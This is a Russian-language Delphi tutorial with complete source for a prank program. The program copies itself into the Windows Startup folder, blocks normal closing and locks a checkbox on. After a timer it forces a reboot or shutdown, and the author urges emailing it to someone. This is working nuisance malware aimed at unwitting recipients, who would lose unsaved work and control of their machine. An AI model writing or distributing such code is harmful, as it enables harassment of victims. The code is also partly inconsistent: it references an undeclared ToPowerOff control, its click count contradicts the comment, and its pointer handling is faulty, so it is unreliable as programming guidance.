Создаем новый проект File -> New -> Application.
Закидываем на форму 2 label’a, 1 checkbox, 1 timer с вкладки System, 1 Progressbar с вкладки Win32. Для начала сделаем самое простое - объявим нужные для работы переменные. Делать это будем в разделе implementation, зачем - поймешь сам, если ненадолго включишь мозгу. Итак, вводим вот что:
var
progress : integer; //сколько набежало в прогрессбаре
Want2SwitchOff : byte = 0; //сколько раз кликнули по label`у, чтобы прога закрылась
ReallyClose : boolean = false;//после 5-ти кликов будет true, и все, финита :)
В Object Inspector’e у формы во вкладке Events по событию OnCreate пишим следующий код
procedure Form1.FormCreate(Sender: TObject);
var
Folder: Pchar;
List: PitemidList;
begin
SHGetSpecialFolderLocation(0,CSIDL_STARTUP,List);
new(folder);
SHGetPathFromIDList(List,folder);
ChDir(folder);
CopyFile(PChar(ExtractFilePath(paramStr(0)) + 'pickUp.exe'), 'pickUp.exe', true);// pickup – ваше имя файла
end;
Данная процедура записывает файл в автозагрузку.
Теперь делаем так чтобы пользователь сколько бы не щелкал на checkbox галочка стояла.
Дважды щелкаем на checkbox.
procedure TForm.checkbox1Click(Sender: TObject);
begin
checkbox1.Checked:=true;
end;
Готово! Сейчас сделаем, чтобы прогу обычными средствами (Alf-F4 или крестиком) нельзя было отрубить. Выбираем вкладку 'Events' в свойствах формы (все как обычно в Object Inspector`е), а там создаем обработчик события OnClose. В нем пишем:
if (ReallyClose) then
Action := caFree
else Action := caNone;
А для того чтобы прогу можно было всетаки вырубить пишем следующий код:
Щелкаем дважды по label1
procedure TSuperForm.Label1Click(Sender: TObject);
begin
Want2SwitchOff:=Want2SwitchOff + 1;
if (Want2SwitchOff=2) then
begin
ReallyClose:=true;
SuperForm.Close();
end;
end;
Что это такое? Ни что иное, как закрывашка (типа открывашки для пива, только наоборот)! Объясняю: после каждого клика по label`у переменная Want2SwitchOff будет увеличиваться на один. Если она станет равной двух, прога вырубается! Все просто. :)
А теперь самое главное сам процесс отрубания виндов. Да, еще нужно сделать, чтобы прогрессбар работал. Думаешь, геморрой? Да всего-то пара строк:
Дважды щелкаем по таймеру и вводим следующий код:
progress := progress + 1;
if (progress <= 100) then ProgressBar.StepIt
else
begin
if (ToReboot.Checked) then
ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);
if (ToPowerOff.Checked) then
ExitWindowsEx(EWX_POWEROFF or EWX_FORCE, 0);
End;
Вот и все прога готова скидывайте кому нибудь на почту и ОК.
Мое тело программы:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls,ShlObj;
type
TSuperForm = class(TForm)
Label1: TLabel;
ProgressBar: TProgressBar;
DeathTimer: TTimer;
Label2: TLabel;
ToReboot: TCheckBox;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Label1Click(Sender: TObject);
procedure ToRebootClick(Sender: TObject);
procedure DeathTimerTimer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
SuperForm: TSuperForm;
implementation
var
progress:integer;
Want2SwitchOff:byte=0;
ReallyClose:boolean=false;
{$R *.dfm}
procedure TSuperForm.FormCreate(Sender: TObject);
var
Folder: Pchar;
List: PitemidList;
begin
SHGetSpecialFolderLocation(0,CSIDL_STARTUP,List);
new(folder);
SHGetPathFromIDList(List,folder);
ChDir(folder);
CopyFile(PChar(ExtractFilePath(paramStr(0)) + 'pickUp.exe'), 'pickUp.exe', true);
end;
procedure TSuperForm.ToRebootClick(Sender: TObject);
begin
ToReboot.Checked:=true;
end;
procedure TSuperForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if (ReallyClose) then
Action := caFree
else Action := caNone;
end;
procedure TSuperForm.Label1Click(Sender: TObject);
begin
Want2SwitchOff:=Want2SwitchOff + 1;
if (Want2SwitchOff=2) then
begin
ReallyClose:=true;
SuperForm.Close();
end;
end;
procedure TSuperForm.DeathTimerTimer(Sender: TObject);
begin
progress := progress + 1;
if (progress <= 10) then ProgressBar.StepIt
else
begin
if (ToReboot.Checked) then
ExitWindowsEx(EWX_FORCE,0);
end
end;
end. |